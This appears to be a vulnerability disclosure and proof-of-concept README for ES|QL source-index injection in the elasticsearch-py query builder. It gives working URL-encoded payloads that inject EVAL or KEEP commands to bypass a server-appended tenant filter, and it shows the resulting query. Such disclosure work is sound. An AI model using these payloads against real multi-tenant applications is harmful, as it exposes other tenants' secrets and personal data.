Share
## https://sploitus.com/exploit?id=B710D009-A8F3-54DD-A71B-C4CF62C1B3E8
# ES|QL Source-Index Injection โ€” Remote Exploitation PoC

**Target:** `elasticsearch-py` ES|QL query builder (`elasticsearch.esql.ESQL.from_`, `ESQL.ts`, `lookup_join`) up to and including v9.4.0 (prior to upstream PR [#3422](https://github.com/elastic/elasticsearch-py/pull/3422)).

**Class:** CWE-943 โ€” Improper Neutralization of Special Elements in Data Query Logic (the query-language analog of CWE-89 SQL Injection). **Not** OS command injection (CWE-77/78) and **not** template injection (CWE-1336).

**Impact:** In multi-tenant applications that let users select a source index and append a tenant/policy `WHERE` clause server-side, an attacker bypasses the policy filter by injecting an earlier ES|QL pipeline command into the source argument. Cross-tenant data exposure is demonstrated below.

---

## Why this is remote, not local

The library does not need a remote endpoint of its own. The injection sink is the public function `ESQL.from_()`, and any web application that:

1. passes a user-controlled string to `ESQL.from_(...)`, and
2. relies on a server-appended `.where(...)` clause for authorization

is exploitable over HTTP. This pattern is taught by Elastic's own multi-tenancy guidance and by FastAPI/Flask Elasticsearch tutorials. The PoC below is a minimal, self-contained instance of that pattern.

The vendor's documentation explicitly acknowledges the ES|QL injection threat model and provides `E("?")` parameterization for *values and field names* โ€” but **no equivalent parameterization or validation exists for the source index argument**. That gap is the bug, and upstream PR #3422 closes it by rejecting `|`, `,`, `;`, whitespace, and backtick in source identifiers.

---

## Reproduction

Requirements: Docker + Docker Compose.

```bash
docker compose up --build
# wait until the app container logs: "Serving Flask app 'vulnerable_app'"
bash exploit.sh
```

`exploit.sh` performs three HTTP requests against `http://localhost:5000`:

| Step | Request | Expected behavior |
|------|---------|-------------------|
| 1 | `GET /search?source=logs` | Returns only `tenant-a` rows (baseline). |
| 2 | `GET /search?source=logs%20%7C%20EVAL%20tenant_id%20%3D%20%22tenant-a%22` | **Returns tenant-victim rows** โ€” SSN, CC, API key โ€” through the appended tenant filter. |
| 3 | `GET /search?source=logs%20%7C%20KEEP%20message%2C%20secret` | Drops `tenant_id` column so the policy `WHERE` no longer matches anything sensibly, alternative bypass path. |

Step 2 is the remote exploitation evidence. The attacker is authenticated as `tenant-a` and reads rows belonging to `tenant-victim`.

---

## Rendered query (step 2)

The application intends:

```
FROM logs
| WHERE tenant_id == "tenant-a"
| KEEP tenant_id, message, secret
| LIMIT 100
```

What `ESQL.from_(user_input).where(...).keep(...).limit(...)` actually emits, with `user_input = 'logs | EVAL tenant_id = "tenant-a"'`:

```
FROM logs | EVAL tenant_id = "tenant-a"
| WHERE tenant_id == "tenant-a"
| KEEP tenant_id, message, secret
| LIMIT 100
```

`EVAL` overwrites `tenant_id` for every row in the index. The server-appended `WHERE` then passes every row, including those originally belonging to `tenant-victim`. Tenant isolation is broken at the query-plan level.

---

## Vulnerable source location

[`elasticsearch/esql/esql.py:137-138`](https://github.com/elastic/elasticsearch-py/blob/v9.4.0/elasticsearch/esql/esql.py#L137-L138) โ€” `_format_index()` returns the source identifier without rejecting ES|QL pipeline delimiters. `FROM`, `TS`, and `LOOKUP JOIN` all funnel through this helper.

---

## Upstream fix

[elastic/elasticsearch-py#3422](https://github.com/elastic/elasticsearch-py/pull/3422) โ€” "Validate ES|QL source index names" โ€” rejects whitespace, comma, pipe, semicolon, and backtick in index arguments and adds regression tests against pipeline-injection payloads. The PR title and content show upstream classifies this as a security fix.

---

## Precedent (query-builder injection as a recognized vulnerability class)

- **CVE-2019-7548** โ€” SQLAlchemy `order_by()` injection (query builder did not sanitize identifier-position input).
- **CVE-2019-7164** โ€” SQLAlchemy `group_by()` injection.
- **CVE-2024-22195** โ€” Jinja2 `xmlattr` filter (template builder, similar trust boundary).
- **GHSA-pmrf-q3p2-rg6h** โ€” Sequelize ORM order injection.

CWE-943 in a query-builder library is consistently treated as a remotely exploitable vulnerability when the builder is used to construct queries from network-facing input.

---

## Files

| File | Purpose |
|------|---------|
| `docker-compose.yml` | Elasticsearch 9.0 + vulnerable Flask app. |
| `Dockerfile` | App image. |
| `requirements.txt` | `elasticsearch==9.0.0`, `flask`. |
| `seed.py` | Creates `logs` index with `tenant-a` and `tenant-victim` documents. |
| `vulnerable_app.py` | Flask `/search` endpoint using the vulnerable pattern. |
| `exploit.sh` | Curl-based reproduction of baseline, EVAL bypass, and KEEP bypass. |

---

## Disclosure

Reported to the Huntr program for `elastic/elasticsearch-py`. Upstream patch already merged in PR #3422. This repository exists only as remote-exploitation evidence for the report.